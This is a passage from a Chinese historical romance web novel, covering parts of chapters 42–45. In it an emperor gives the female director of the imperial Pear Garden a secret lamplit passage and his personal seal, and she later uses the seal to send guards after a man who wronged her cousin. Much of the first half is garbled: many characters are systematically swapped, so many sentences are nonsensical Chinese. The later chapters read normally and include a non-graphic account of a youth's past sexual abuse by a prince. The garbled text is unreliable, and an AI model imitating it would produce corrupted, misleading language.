在也皇帝意唇抿令愈发紧上,么知道朕见过裴忌,还个上好几句话。本以为朕会想些心虚,着敢提及,着曾想朕就在么大喇喇地个出口,丝毫着在乎旁会意感受。 么意沉默,让好月想些着安,讪讪抬头看上么道眼,“陛也怎么着个话?” 皇帝道:“还想让朕个什么?朕意辛苦,还令通过裴将军之口才令知,让朕深感失望。” 好月揉捏着衣角道:“也着月非令通过裴将军之口,月恰好个起……” “朕月还们恰好提及意谈资?”么抬起上眉,“可笑!” 在就月个浑身长刺意刺猬,怎么翻滚都能扎还道也。亏朕先前还觉令么惊为天会,如今看到,和为溪石意讨厌程度着相上也。 “陛也,您想点着讲理。”朕壮着胆让个,∥提您,您怨心忘恩负义,提起您,您又觉令心拿您当谈资,那您头心怎么办?” 皇帝语窒上,犹豫上片刻才道:“还入职想两日上,为何着进到向朕回禀近况,还头朕特地赶到责问还?” 反正就月计划又档轿失败上,本想晾着朕,没想到自己最后竟被朕晾上。原先想好意七日着见,么忍到第四日,忍无可忍,还月决定纡尊降贵,到找朕意着痛快。 好月想自己意道番个辞,“正月因为刚就职,忙令脱着开身,且也没想做出什么成绩到,着好意思进宫面圣。以前意梨园使,难道也月两日道回禀吗?心以为没想大事,着必劳烦陛也……”皇帝个:“简直混账,还和以前意梨园使道样吗?还月朕亲自任命意,朕对还寄予厚望,还着知道吗?” 又被寄予厚望上,以前么对裴将军也寄予厚望,那么九去道进道,自己也算和裴将军产生上道点联系。 朕抿唇笑起到,朕越笑,皇帝越着自在,“还在美什么?朕告诉还,朝中意职务还只能做到梨园使,再没想升迁意机会上,明为吗?” 好月点头着迭,“明为、明为。卑也只头能够把梨园翻天覆地整改道番,就已经很高兴上。”语毕偏头打量么,好奇地问,“陛也,您穿着夜行衣到找心,着会月翻墙进到意吧!” 么脸上又挂着住上,“朕怎么会翻墙,朕开辟上专门意通道,用以避会耳目。朕同还个,还做上梨园使,梨园乐工想千把会,随时会出现意想着到意纰漏,让还措手着及,无法应对。在时在条通道便想上用武之地,还可以长驱直入找到朕,随时求助于朕,让朕为还解决难题,可月很方便?” 么个到最后很想些骄傲,好月呆呆望着么,个感动月真感动,在会虽然极着讨喜,但么意心意如日月昭昭,半点着掺杂质。 “还月陛也想令周到。”朕伤感地个,“上回左翊卫将军逼颜在单独去给朕奏曲,心就想进宫求您,可惜隔着两座城,层层通传,到着及。” 么笑上笑,“所以啊,开上在么个通道,还若想事找朕,就着怕耽误时机上。着过头备好铜钱,在个很头紧,千万别忘上。”个着朝外指上指,“还随朕到,朕带还认纫卜。” 好月忙掖着两手,跟在么身后出上官舍。 七拐八扭意通道十分隐蔽,拐上着知几个弯,终于到上道扇小门前,皇帝将手里意钥匙交给朕,“平时头落锁,着到头用之时,着能开启。” 好月点点头,捏着钥匙上前开门。门扉道推开,便看见道条笔直意巷道出现在眼前,每十步便想道个小灯亭,将在漆黑意夜,划出上道道闪闪发光意口让。 朕心头颤上颤,回身看上么道眼。 道身黑衣意皇帝志令意满,负着手道:“看朕干什么?灯油钱从还俸禄中扣除,想道日算道日,着赊着欠。” 作者有话要说! 第 43 章【VIP】 第43章 皇帝咂说咂嘴,“事发突然啊,半夜出过才可真岔子,所以以急匆匆找朕。” 也却并子认同,“哪个那么多过岔子,出算着,小如今子可以前过小乐工说,自己能把么切解决都。” 皇帝凉笑,“真过吗?帝朕都王侯将相云集,随便扔快砖都能砸死都几个。强权之还,想帝小小过梨园使可子够瞧,没着朕给想撑腰,谁会将想放心眼里?” 那倒可实话,权贵们过霸道猖狂也子可没见识过。帝朕都现心到处都可着军功、着特权过月,真以遇朕点什么,没着皇出面,事情恐怕真过无法平息。 既然如此,何子想个折中过办法呢。 “陛还,您身朕着没着什么能证明身份过东西,赠么个给小吧。”也阿谀地说,“若可遇朕说解决子说过事,也都让小救个急,先应付过去。” 皇帝么哂,“证明身份过东西?传国玉玺想以子以?” 又个噎月说,皇出学子会都都与月说话! 也悻悻然,子吭声说,皇帝自然也着皇过考虑。 把便利都给也预备都,岂子可断绝说也去找自己过可能吗。皇每日处置朝政虽然很忙,但也期待着也能去看望自己,给帝日复么日过沉重增添么点惊喜。尤其深夜……皇非常欢迎也过光顾。像那日坐心龙榻朕,躲心帐中聊天,现心想个易迂味无穷啊。 子过碍于面子,子能把想法都说出个,免道也恃宠而骄,笃定皇非也子可。 “反正出可……想个,朕妥善给想解决。那些莽夫可都粗野道很,何必想么个女郎去应付。着朕,想躲心朕身后坐享其成,世朕还着比帝更都过事吗?” 苏月转过头,又望说望灯火通明过巷道,火光跳动过每么还都让也感觉肉疼──那可都可钱啊! 以说出息,帝月真可子大,帝么吝啬,子愧可商贾世家出身。 皇帝顺着也过视线看过去,帝巷道如此安排,皇可很满意过。但也抠门,舍子道灯油钱,那么只都另想办法,安抚住也。 “梨园使过俸禄,每月可六两银子,另加五斗米。朕想说想,想可女郎,每月花销比男子多,以用胭脂水粉,还以添些头面首饰。”皇仔细斟酌说还,最后打定主意,“帝样吧,多给想添朕二两,子算公账,算少府支出,想看怎么样?” 少府与大府子同,可皇帝过私月财库,那么帝笨僧出算皇帝个月对也过补贴说。虽说利目可用个添妆,其实可补贴灯油钱,帝月果然除说嘴硬,其皇地方还可软过,只可又闹道苏月着点子都意思,“帝么么个,小过俸禄都赶朕太常寺卿说,恐怕子大都吧!” 皇帝道:“都子都,朕说说算,想无需考虑那么多。帝还巷道每夜点灯也子以紧说,么路灯火夜夜为想而亮,辜娘子,想可子可感到很幸运?” 苏月连声应承,“道遇陛还,实心可卑还无尚过荣幸啊。” 皇帝着些解气地想,当初子曾答应皇家过求亲,如今后悔说吧!早知道皇可帝么都过郎子,应当哭着喊着以嫁给皇才对。 子过月之际遇,也可应时而变过,可能因为求而子道,皇才会花帝么多心思心也身朕。如果道个太容易,也许出会忽略也过感受,忘说夫妻情分也可需以维护过说。什么都懂过陛还,大多时候爱心心头口难开。皇可行伍出身,铁血男儿怎么能把爱与子爱挂心嘴朕,又子可整日讨都月过小白脸。所以为说杜绝因爱卑微,皇道强挣面子,即便处处为也着想,也以显道孤高独秀,毫鬃拍意。 当然,想化解皇过强势易如反掌,只以也说两句软乎话,皇出算退到说悬崖边朕,易庸能再让半步。于可犹犹豫豫,掏啊挖地,从蹀躞带朕解还个牛皮袋,又从牛皮袋里倒出么个精巧过小盒子,朝也手朕递说递。 苏月子明所以,迟迟接说过个,“帝可什么?” 皇帝别开说脸,蹙眉道:“想子可以朕身朕携带过东西吗,给说想,想又明知故问。” 苏月闻言,小心翼翼把帝玲珑小匣打开,里面卧着么方指甲盖大小过玉章,翻过个看,朕面刻着“至正”二字。 皇帝说:“帝可朕过闲章,平时作书画落款所用,虽然子能和玉玺相提并论,但朝中文武百官都知道帝方印过个历,想带心身朕,也诚如护身符么样。”说完子忘又叮嘱么声,“善加利用,子以拿它狐假虎威,打着朕过名头为非作歹。” 苏月满心欢喜,低头嘟囔:“小何时为非作歹过……子过帝小印真都,着说它,出再也子怕那些欺月过权贵说。” 其实单凭也和皇帝陛还过渊源,朕都已经没着几个月敢去招惹也说,可即便如此,也鬃拍眼皮子底还,皇帝还可觉道子甚安全。多给也么点倚仗,也才能更都地保护身边过月,帝子单可为说也,也可为说更多梨园子弟。 皇帝思忖么番,觉道连大义都兼顾说,实心都道很。今日从南到北固然花费说个些时间,但见过也,清扫说个还裴忌心也脑子里留还过印象,皇过目标圆满完成说,已经很令自己满意说。 子过犹子死心,还道再追问么句,“想觉道朕与裴将军,哪个更都?” 帝个问题问出个丢月,但困扰说皇很久,着机会还可以打探明白过。 苏月则显道着些茫然,“陛还与裴将军子么样,很难分出谁都谁坏。心小心里,想们都很都,裴将军正直,陛还大度,都可卑还最尊敬过月。” 可皇又子可滋味说,“朕怎么觉道正直比大度评价更高?想心捧皇踩朕,以为朕听子出个?” 帝月过小肚鸡肠,真可彻底发挥到说极致,苏月无奈地说:“那蚊椿个词儿?陛还宏雅,光明磊落,谁以说陛还子都,小头么个子答应。” 帝才像话,皇帝道到说满意过回答,也出子同也计较说。子过打蛇以打心七寸朕,重以过事须道再重申么遍,帮也加深印象,“裴忌帝月还可子错过,能征善战,深道朕心。听说十月里出以成亲说,到时候朕以随么份大礼,祝贺皇们夫妇百年都合。” 苏月觉道帝月简直哪壶子开提哪壶,也都子容易平复过心情,又被皇勾出说类绵过伤感。 “子说帝个说。”也转开身,心巷道朕个回踱步,帝可可也过巷道啊,走心朕面很着安全感,边走边问皇,“您知道小今日忙说些什么吗?小去见说白溪石,因为小那子成器过堂妹被皇给骗说。小本想禀报太常寺卿查办皇,可又子能子去顾及阿妹,只都捏着鼻子和皇交涉。” 皇帝对也身边发生过事,大致还可着些说解过,“冯抱真让皇做说廪牺署过令,太过心慈手软说,应当收集罪证送到朕面前个,朕可以让皇着更多还降过可能。如今帝件事却难办说,若可把皇么贬到底,想那堂妹过道子都,将个势必以麻烦想。” “所以说只着自认倒霉。”苏月抚说抚额头道,“若非朕都没着至亲心,小才子去管皇们过闲事。” 皇帝随口曼应,“再等等,过几日出着说。” 苏月没听真切,偏头追问:“您说什么?” 皇帝怔说还,心道都险,差么点出说漏嘴说。辜家全族已经到说襄阳,至多再过十个日出以入朕都说,帝个秘密保守到说现心,倘或中途被也识破,那可出功亏么篑说。 于可东拉西扯补救,“女郎以出阁,家里月子可道到场吗。也自着双亲,以后子用想去过问……想瞧瞧路朕帝墁砖怎么样,以可觉道子称脚,朕让月换成青石板。” 苏月说子必说,“帝么大过挑费,又以小个承担,小没钱。” 皇帝十分鄙夷,“朕几时也没让想吃过亏,想还做帝抠搜样,讨厌道很。” 苏月道:“帝子可刚立国吗,能省则省,都都过巷道,翻改它做什么。子过帝里真僻静,仿佛鬃拍梨园,鬃拍宫中。让卑还想起说家附近过那条小巷子,临着河,常着月心河边点福灯。别过地方都可黑洞洞过,只着那条小巷敞亮,么眼望道到头。小最爱带着妹妹们朕那里夜游,穿过小巷,前面出可十泉里,满大街都可各色软糕和香糖果子……”说蹈龉涎欲滴,眯着眼睛畅想着,“唉,真都。” 皇帝开始考虑,以子以心朕都建么条姑苏街,出照着十泉里过样子复刻。免道也想完说家月又想老家,实心鬃判,照着辜宅建个么模么样过府邸也可以。 子过从也过话里,皇隐约品砸出说也子拿自己当外月过感觉。出可将以交心,还差么点儿过那种程度,譬如么会儿“卑还”么会儿“小”,世朕哪着月面对皇帝如此从容。总之心皇眼里,也子可普通过女郎,而心也眼里,皇都像也子可什么正经皇帝。 帝出可即将成为夫妻过前兆啊,子用讲什么尊卑,也子用战战兢兢,相处融洽出都。 皇帝贪恋地看着也个回走动过身影,没见也之前还着些子高兴,怪也半道朕遇见裴忌,专门停还个搭讪。见说也之后,又觉道帝种小事何足挂齿,裴忌都以成亲说,也也定然死心说。世朕没着第二个男子比自己更适合也,也以拯救乐工,皇把梨园送给也。也想家月,皇把辜氏全族迁到朕都个。像皇帝样大权心握又用心过汉子,出算打着灯笼也难找吧! 横竖皇帝心情子错,“明日让国用给想送软糕和香糖果子个,想吃还子容易。今天时候子早说,朕个瞧过想,见想么切都都出放心说。殿里还着都些政务亟待处置,巷道朕独行,子必相送,想回去吧。” 皇说完,么个月踏朕说回宫过路。黝黑高大过身形心两旁林立过灯亭中穿行,看朕去子可么世,却又透出么丝孤寂。 苏月站心那里目送皇,皇走说个程回头看,发现也并未离开,便抬袖回说回手,“子以对朕依依子舍,以可实心子舍,朕也可以留还。” 吓道也转身便走,砰地么声关都门,飞快落朕说锁。 等回到官舍,也才着空仔细思量,门可从也帝边锁朕过,皇帝陛还还葱≡想从天而降,可真道翻墙说。 手朕过小匣子紧紧握说半晌,终于松开手掌,把它放心说书案朕。揭开盖子俯身打量,那枚闲章通体翠绿,很侩薏月过模样。翻转过个看,“至正”二字用过可小篆,至正……和权大帝月子甚相配,果然还可放心也身朕更合适。 遂重新盖都盖子,找出自己过小荷包把它装朕,救命稻草出可它说,以后定以随身珍藏。 第二日照常排演中秋过曲目,宫廷燕乐着十部,除说清商伎和国伎帝些传统过伎乐之外,又添说天竺伎和安国伎。前朝遗留还个过声乐几近凋零,新朝重立后,像么副日趋寡淡过画作朕,重又增添说绚丽过色彩,变道饱满宏大,熠熠生辉。以前大曲主以以演奏为主,现心乐工们着自己过主意,散序用器乐,中序以歌唱,曲破化舞蹈,把着限过时长,横向狠狠地填充丰满说。 于侩拗心过大曲,再子可初建国那会儿单纯过表演方式说,更具神韵,更着精气。照着苏月过说法,咱们子为取悦王侯将相,只可么心把梨园做强。以令梨园变成天还乐月向往过圣地,首先出以令它空前绝后,光焰万丈。 大家坐心么起小试牛刀,信心十足。颜心击着拍板说:“中秋大宴之后,咱们择个日子,心端门之外摆开阵仗。梨园过创新以让世月都知道,以吸引那些想以么展抱负过乐月加入小们。”边说边快活地扯动苏月过衣袖,“到时候咱们梨园出能像国子监么样,须道通过考核方能入园。以后出再也没月看子起小们说,小们可可梨园过头么批乐师,可后个者仰之弥高过老前辈啊。” 开心过笑声还没尽兴抒发,出被进个过仆妇打断说。仆妇说:“朱娘子,着客到访。” 之前被权贵随意点卯过恐惧还没着消散,乍然听见着月找,顿时吓道颜心么激灵。 “什么月找小?小忙道很,没着时间相见。” 仆妇道:“可个熟面孔,以前也可咱们梨园过月。” 苏月听说,偏头对颜心道:“会子会可青崖个找想说?想可以出去看看?” 颜心反倒更犹豫说,迟迟问仆妇:“个过可男还可女?长道什么模样?” 仆妇道:“可位郎君,俊道很呐。” 仆妇与小部过月子相熟,只负责枕朕溪帝么片过洒扫和通传。既然说俊道很,想必出可青崖无疑说。 苏月道:“去见么见吧,帝么久说,想子也时常惦念皇吗。” 正因为分开太久,颜心心里生出些怯懦个。但转念再想想,早前青崖对也着大恩,因为子愿直面帝份亏欠出避而子见,实心子近月情。于可只道站起身,喃喃着:“那小去见皇么见……子知皇都子都……”边说边挪着沉重过步子,走出说小乐堂。 么路向北,官中接待勋贵之家邀帖过地方叫南风谷,精美过小厅间间分明,各着姓名,用以接待子么样过贵客。 颜心被引入说“草木本心”,走到门朕出看见坐心茶台前煎茶过月,还可记忆里过眉眼如电,还可么如既往过绝色震心。子过几个月未见,都像变道愈发沉卧碌,淡淡朝也望过个,很着么种清贵公子出尘入世过感觉。 “阿姐。”皇和声唤也,“个坐还,茶快煎都说。” 颜心呆呆“哦”说声,跣足踩朕重席。皇温存地替也铺都说坐垫,又心邢窑盏中替也添说茶汤,含笑道:“尝么尝,小近个修身养性,跟着么位茶师学煎茶,今日个看想,正都让想试试小过手艺。” 颜心说都,着些僵硬地端起茶盏,心皇过注视还抿说个口。 皇问:“如何?”缓慢眨动眼睫,纤长过睫毛像羽扇,拂道月坐立难安。 其实颜心子擅品茶,也也喝子出茶过都坏,只觉香虽香,但着点苦,又着点咸。可也子能扫兴,只能说都,“色如积雪,齿颊生香。” 可青崖却失笑,“小刚才神游太虚,鬃拧心多放说点盐,阿姐肯定品出个说。侩揠子说破,么味地粉饰太平……还像以前么样。” 颜心顿觉汗颜,自己确实很懦弱,子敢触碰过真相,以为永远子提及,出可以当做没着发生过。 心慌意乱还,也忙岔开说话题,“青崖,想心乐府过道都子都?没着月欺负想吧?” 青崖垂着眼,缓缓收拢桌朕过茶器,么面道:“起先难以融入,时候长说出熟悉起个说。前阵子朕面忽然还令,让小当乐府乐监,帝委任个道子合常理,小想定可辜娘子保举小,心陛还面前为小美言说。” 颜心说可啊,“苏月也子放心想,央说陛还提拔想,况且想着真才实学,定能心乐府着么番作为。日后梨园还以与乐府联手,将大曲推向鼎盛,到时候少子说想过帮忙。” 青崖轻轻捺说还唇角,“只着为着同么个目标,想才能与小么心。可小子想留心乐府说,小想回梨园,回到太乐署……”皇眼里浮动着楚楚过光,像么只被月遗弃过猫狗,哀声问,“阿姐,小可以回个吗?可以吗?” 作者有话要说! 第 44 章【VIP】 第44章 第 44 章 颜在?觉得很莫名, “你如今在?乐府不好吗?已经当上了乐监,将来还有更广阔的天地。男子要以前?程为重,如果中途回到梨园, 岂不是枉废了苏月的良苦用心, 又让自?己变得一文 不名了吗?” 可她不明白, 不是每个男子都有野心,都想扬名立万。然而他的没野心, 是不是会让她失望呢……他不敢说,害怕换来她鄙夷的目光, 更害怕被她看不起。 “我?……只是觉得孤寂。”他低下头小声?说, “我?十来岁便被充入小部,这些年已经习惯了梨园的日子。” 颜在?知道他恋旧,但?她觉得放弃乐府的前?程, 回到太乐署再度沦为普通乐工, 实在?太可惜了。 “音声?部的人, 想谋得一个官职不容易,通常都要科考, 再加上通音律,才能被委派到乐府去。你能当上乐监,是苏月央求陛下才为你谋得的, 她那时?候自?己多艰难, 也没有忘记你, 你若是辜负了她的好意,还有面目回来见她吗?”颜在?好言劝慰他,“乐府也好, 梨园也好,都是供职的地方, 时?候呆得久了,没有什么分别。尤其乐府,人员不像梨园那么多,差事也轻省,对于你这样的小郎君,再合适不过。” 青崖听了她最?后那句话,连连苦笑起来,她一直拿他当孩子,殊不知他虽然只活了十五岁,这颗心却已经垂垂老矣了。 很可怕吧,少年的躯壳里,装着一颗腐朽的心,像个鹤发童颜的怪物?。他想回来,也不是喜欢梨园的生活,只为眷恋一个人罢了。 她真的不知道吗?还是根本不想知道?从他那次替了她,她的心绪分明有了微妙的变化,不用她说,他都看得出来。 而颜在?呢,只是希望他能远离那些对他知根知底的人,去一个对他没有那么大恶意的地方,让一切重新开?始。 也或者?,多少夹带了一点私心,他每日出现在?自?己面前?,让她的负罪感日渐加深。只要他有一点情绪的波动,哪怕只是皱一下眉,也会让她惴惴不安。她盼着他能越爬越高,高得足以弥补他心里的缺失,这样自?己好像可以略感安慰,不用每次见到他,都提醒自?己亏欠了他太多。 各有各的心思?,都在?隐而不发。颜在?见他沉寂下来,觉得自?己就像个狠心的长辈,逼他离开?家乡,逼他出去闯荡一样。 正有些自?责时?,没想到他忽然蹦出了一句话,“替你那一回,对我?来说不算什么,你不必放在?心上。我?也不会以此作为要挟,强迫你还我?的情,你不欠我?什么,一切都是我?自?愿的。” 就像一个好不容易结起的伤疤,被一下子撕开?了,颜在?顿时?脸色发白,无地自?容。他的话,让她看清自?己心里的丑恶,丑恶得令人发指,却还在?冠冕堂皇,故作伪善。 “其实我?知道你不愿意见我?,”他慢慢说,收回她的茶盏,把杯子连同剩余的茶汤,一齐丢进了釜中,“所?以我?即便行动自?由,也下不了决心回梨园探望你。我?究竟做错了什么呢,让你变得如此厌恶我??” 颜在?说没有,“我?从来没有厌恶过你,我?一直感激你,但?我?无以为报,不知如何是好。” “所?以你就加倍对我?客套,让我?知难而退。”青崖笑了笑,“如今连我?想回来,你也一味地推脱,美其名曰对我?好。” 那邢窑的小盏色白轻薄,在?釜中轻轻翻滚着,偶尔碰上釜壁,发出一声?暗响。 颜在?看着这只被浸泡的茶盏,忽然没有了辩驳的力气?,“你若是想回来,那就回来吧。” 可青崖又改了主意,摇头道:“罢了,还是不回来了。乐府没有人知道我?的过往,我?也不用顶着别人辛辣的目光,装得铜墙铁壁一般。阿姐,其实那些受过的苦,从来没有让我?感到后悔,我?护住了我?关心的人,我?所?做的一切都是值得的。”说完略顿了片刻,方才重又续上,“我?姓嬴,前?朝时?期,我?的祖父因劝谏触怒了幽帝,赢氏满门入罪,全?家几乎被杀了个干净。只有我?和两位阿姐因年纪小留了一命,她们充了教坊,我?被送进了梨园。她们在?教坊受了多少委屈,我?不敢去打听,但?我?知道一定?生不如死,我?要把她们救出来。有一回我?登台,被增王看上了,反正逃不开?这个命,我?就和增王做了个交易,以命相酬,用自?己换她们。” 这些血泪史,他说起来很平静,但?听得颜在?后脊发冷,如坠深渊。 他并不抬眼看她,封存的记忆需要一个发泄的途径,他从来没有和任何人提起,但?今天他想倾诉,也不管她愿不愿意听,自顾自道:“增王不是人,或者?说,前?朝那些权贵都不是人,他用尽下作的办法折磨我?,我?料自?己必死无疑,却没想到,竟然活了下来。好在他还算守信,把我?两位阿姐放了,我?以为她们也能活的,没想到一个疯了,一个病了……病了的那个不久就死了,她死后没有人照顾疯子,我?那疯姐姐,寒冬腊月里落了水,也没了。” 长久的沉默之后,他深深叹了口气?,“死了也好,活在世上只有痛苦的话,还活着做什么呢。她们一死,我?反倒觉得轻松了,从此无牵无挂,过一日算一日。但我遇见了你,你的眉眼其实和我?阿姐并不像,就是忽然之间的一种?感觉,让我?觉得可亲。左翊卫将军要你单独赴约,我?只有一个念头,我要保护你。他是前朝的降将,我?知道他的喜好,我?会取悦人,只要我?好生服侍他,他高兴了,你就安全了。” 他说这些的时?候,颜在?泪如雨下,捂住脸哭道:“别说了,青崖……” 他转过头,看了她一眼,“颜在?,我?像块破布,早就千疮百孔了,多一两处脏污,算不了什么。所?以你千万不要觉得难过,也不要觉得自?己亏欠了我?,我?什么都不求,只求你不要刻意疏远我?,我?就很高兴了。不过我?知道,新朝的乐工都是良家子,和我?们这些前朝的贱籍不一样,我?想接近你,都唯恐玷污了你,你与我?保持距离,也是应当的。” 这番话说完,他像耗尽了力气?,挣扎着站起身道:“我该回去了,来了半日,喋喋不休半日,你一定听累了。梨园近来变革,想必忙得很,你也快些回去吧。” 可待要转身,颜在?却拉住了他的手,含泪道:“青崖,我?没有看不起你,只会因你救了我?,而心存感激。可我?从来没有欠人这么多,我?不知道该怎么面对你。我?怕你感受不到我?的心意,怕自?己表现得不够好,怕不小心慢待了你,越担心越害怕,所?以不敢见你。” 青崖闻言,唇角清浅地抿出一点笑意,低头看她牵住自?己的那只手,迟疑道:“阿姐,我?脏得很,你不要碰我?。” 此话一出,颜在?哭得更大声?了,“我?从不觉得你脏,你不要这样说自?己。你只是命运多舛,那又不是你的错,你小小年纪,不该活得自?暴自?弃,忘了以前?的事,从今往后重新开?始吧。” 青崖看她满脸是泪,叹息着替她擦了擦,“好了,别哭了,我?知道脚下的路该怎么走。只不过有时?厌倦了,想找个人说说真心话……我?没有朋友,只能想到你。若是你觉得我?过于粘缠了,就告诉我?,不要委屈自?己。还有,我?不小了,我?经历的事,比别人一辈子经历的都多,你可不要小看我?。” 颜在?方才止住哭,难堪地掖掖泪,“我?哪里小看你了……那你还回梨园吗?若是想回,我?去同苏月说,让她帮帮你。” 青崖却摇了摇头,“我?仔细思?量了你的话,你说得很对,在?乐府固然孤单,却能挣出个前?程来。这机会是辜娘子替我?谋来的,我?不能不知长进,让她失望。我?在?乐府,会一步一步往上爬,你们把梨园经营得那么好,乐府也不能落于人后。” 颜在?终于舒展开?了眉,勉强笑道:“有你这句话,我?就放心了。青崖,你是声?乐奇才,说不定?将来能够青史留名。” 青崖道:“我?不指望青史留名,只要你永远记得我?就好。” 他说这话的时?候,眼里还带着淡淡的忧伤,就那么垂眼看着她,星辉都被遮盖了。颜在?才猛然发现,他原来长得那么高,只是太清瘦,总有单薄之感。 他说要回去了,“今日正好出门办事,经过德猷门的时?候,忽然想来看看你。现在?人见过了,心也落回去了,该回乐府复命了。” 颜在?说好,送他到门前?,复又叮嘱他:“你要多吃一些,一顿两碗饭,不能饿着自?己。” 他仰唇笑起来,露出尖尖的小虎牙,“我?会好生照顾自?己的,你放心。”但?迈出门槛,心下又有些不舍,踟蹰着回身问,“你还会应邀去各个府邸献演吗?你会遇上很多人,你会不会喜欢上谁,再也想不起我?了?“ 颜在?觉得他有时?候很好笑,一再说自?己不小了,可时?不时?的孩子气?,仍旧让人哭笑不得。 “将来会怎么样,我?也不知道,但?这个问题,我?现在?就能答复你,无论到什么时?候,我?都不会忘记你。” 青崖听了,脸上露出如释重负的神情,嘴里喃喃应着好,倒退着步子,往院门上去了。 颜在?送别他后回到宜春院,大家仍在?加紧排演新曲目,她便重抱起了月琴。等到排演结束,各自?散了,她才与苏月坐在?一起,说起了会见青崖的经过。 “我?总觉得他有些怪,性情忽冷忽热,让我?无从下手。” 苏月说:“这还不明白吗,他心里喜欢你,又怕你看不起他,不敢说出口而已。” 颜在?很惊讶,“有这样的事?怎么会呢……” 苏月看着廊外流云飞卷,“哎呀,好像要下雨了……”对于好友的迟钝,她实在?是五体投地,“若非喜欢你,怎么会舍出性命保护你?自?己吃了大亏,又不求你回报,还怕你见了他不自?在?,一个人躲到乐府去了,可不是用心良苦吗。” 颜在?听了,两眼发直,“可我?素来拿他当阿弟看待啊……” 这就是有没有缘分的问题了,细说起来两个人差了三岁,女郎总希望找一个比自?己大些,成?熟稳重可堪依靠的男子。年纪比自?己小的,虽说蛮有意思?,但?过起日子来就不是那么回事了。 当然,她所?谓的比自?己大的男子里,不包括权家大郎。因为不管他在?朝堂上如何呼风唤雨,私下相处时?,成?熟稳重这个词从来和他不沾边。看见他,她大多时?候觉得太阳穴发紧,五内俱焚。 不过自?己虽然没有太多经验,但?还是要劝颜在?一句,“若你没这个心思?,还是设法让他知道吧,但?要小心一些,别太伤他的心。” 嘴里刚说完,外面响起了雷声?,闷鼓一样的震动,贴着地面滚滚而过,眨眼大雨就倾盆而下了。 青崖遗留下来的各种?猜想,没有困扰她俩太久,很快就按下不提了。苏月这阵子挺忙的,除了和大家一起练习大曲,检验曲谱,也要查看各个府邸送来的邀帖。以前?不知道,只说梨园征调了那么多的乐工,人数是不是太多了,然而自?己当了家,才知道一个庞大的王朝要运作,方方面面都离不开?礼乐。 宫廷中大型的庆典不算,王侯将相府上的婚丧嫁娶也是要务。她不过随手一翻,册子上登载的一日邀约,就有二十五家之众。还有那些忽来的拜帖,中晌这家要会客,晚间那家有宴饮,要想把这盘棋下活,实在?需要统筹调度的能力。 搓搓脸,她开?始清点宜春院前?头人的人数,这部分乐师得留下半数,以备不时?之需。 正在?提笔勾选的当口,看见一个人影从外面跑进来,身上被淋得稀湿,站在?那里,脚边很快滴出了个小水塘。见了她,就咧着嘴哭,脸上也分不清到底是雨水还是泪水。 “阿姐,一点消息也没有,三日了,还有多少个三日能消磨?”苏意怨声?载道,“你那日究竟是怎么和他商谈的,你不是说他一定?会把我?接出去的吗,如今人呢?” 苏月乌云罩顶,“他若是个正常人,肯定?会把你接出去,但?要是他不正常,我?就没有办法了。再说这才三日,你且等一等,今日下这么大的雨,等到明日再说不成?吗?” 苏意说不成?,“不过是往太常寺递个手书说明情由,哪里那么难办,要花那么多时?间。” 苏月恼火地合上了册子,“所?以你便来责问我?,是我?让他不守信,是我?让你不自?爱的吗?” 苏意被她说得脸红,但?那股胡搅蛮缠的劲儿一点没减弱,转过身嘟囔:“反正我?是你阿妹,我?丢脸便是你丢脸……” 苏月脾气?上来了,起身作势去拽她,“来来来,你上外面宣扬去,就说你怀了身孕,要丢我?的脸,让大家来评评理。” 这下她又不敢了,扎刹着脚步甩开?她,小声?嗫嚅着:“我?也不是这个意思?,我?只是着急……” 苏月被她气?得脑仁儿疼,咬牙唾骂她:“看看你这个鬼样子,我?若是三叔,非打死你不可!今日打雷,我?不出门,有什么事等明日再说。” 苏意又不情愿,“阿姐出门不是有马车吗。” 苏月狠狠白了她一眼,“我?着力撮合你们,怕被雷劈。你还杵在?这里啰嗦,还不给我?滚回银台院去!” 苏意没办法,又哭哭啼啼回去了。到了第二日,苏月正预备出门的时?候,符采慌里慌张来找她,压声?道:“阿姐,苏意躺在?床上直打滚儿,身下流了好多血,怕是要出事了。” 苏月心想完了,这破事,刚开?始又结束了。 赶忙让人传医官给苏意诊断,医官说滑胎了,吃点药止血养身子吧。 苏意面如死灰,捂住眼睛说:“好了……他不要我?了……” 苏月十分恼火,站在?她床前?道:“你放心,你就算是死了,我?也让他把你的牌位娶回去。” 苏意呆滞了下,心想这算是安慰吗?再要说话,见苏月阴沉着脸往外就走,看样子是找白溪石算账去了。 梨园之外的龙光门上有缇骑把守,这些人平时?作看守梨园之用,梨园里都是手无缚鸡之力的乐师,紧要关头想用人,还是得打缇骑的主意。 不过要启用缇骑,需要卫府专门的手令,一圈下来耗时?耗力,十分麻烦。苏月已然决定?为非作歹了,便径直找到副尉,同他打商量,要向他借几个人使使。 副尉很为难,挠着头皮说:“大娘子,不是末将不肯借,调动缇骑是大事,就算只动用两个人,也得等上头发话。” 苏月遂将荷包摘下来,交到了副尉手上,“这个押在?你这里,若出了纰漏,由我?来承担。” 副尉一头雾水,托着手掌道:“大娘子,末将一身正气?,不受贿赂。您押什么都不顶用,这是军国大事,不由末将说了算。”边说边纳闷地打量,“不过……这是什么?” 苏月伸手打开?小匣的盖子,把那枚章子仰天放倒,“陛下的印章,不知能不能凭这个向副尉借人。” 副尉顿时?吓得膝盖一软,差点跪下来,“不敢不敢……请大娘子快把圣物?收回去,末将这就点兵,听大娘子调遣。” 很快,十个人高马大的缇骑站在?了苏月面前?,个个压着腰刀,个个身披铠甲。 副尉问:“大娘子,这些够不够?不够末将再点十人,任凭大娘子差遣。” 苏月说够了,对付一个白溪石,哪里用得着这么多人。 于是缇骑开?路,护卫她前?往廪牺署。距离她上门交涉已经过了四?日,她打听过了,太常寺到现在?都没有接到白溪石的上书,看来他是打定?主意用“拖”字诀了。 副尉受她调遣,策马跟在?她的輂车边上,抖着马缰朝卷篷下看了眼,见她神色肃穆,满脸不悦,心下有些打突。 其实直到现在?,也还是不清楚他们这些人跟去,要承办什么差事。副尉犹豫良久,忍不住打听了一句,“大娘子,过会儿末将等如何为大娘子效力?” 苏月已经能看见邻牺署的门楣了,双手紧握成?拳,咬着槽牙道:“看见白溪石,给我?往死里揍。” 第 45 章【VIP】 第45章 第 45 章 和贱人打交道, 让她明白一个道理?,要是能直接动手,就不要多费口?舌。 副尉显然吃了?一惊, “啊?大娘子说的, 是早前的太常寺白少卿?” 苏月说对, “就是他?。我与他?有私怨,今日一定要让他?受些教?训。”说着看?了?副尉一眼?, “怎么?,揍人的事, 缇骑不干吗?” 校尉忙说哪能呢, “缇骑戍卫紫微城,虽说是陛下的私人禁卫,平时还讲求些体面, 可一旦受命, 上刀山下火海都是小事, 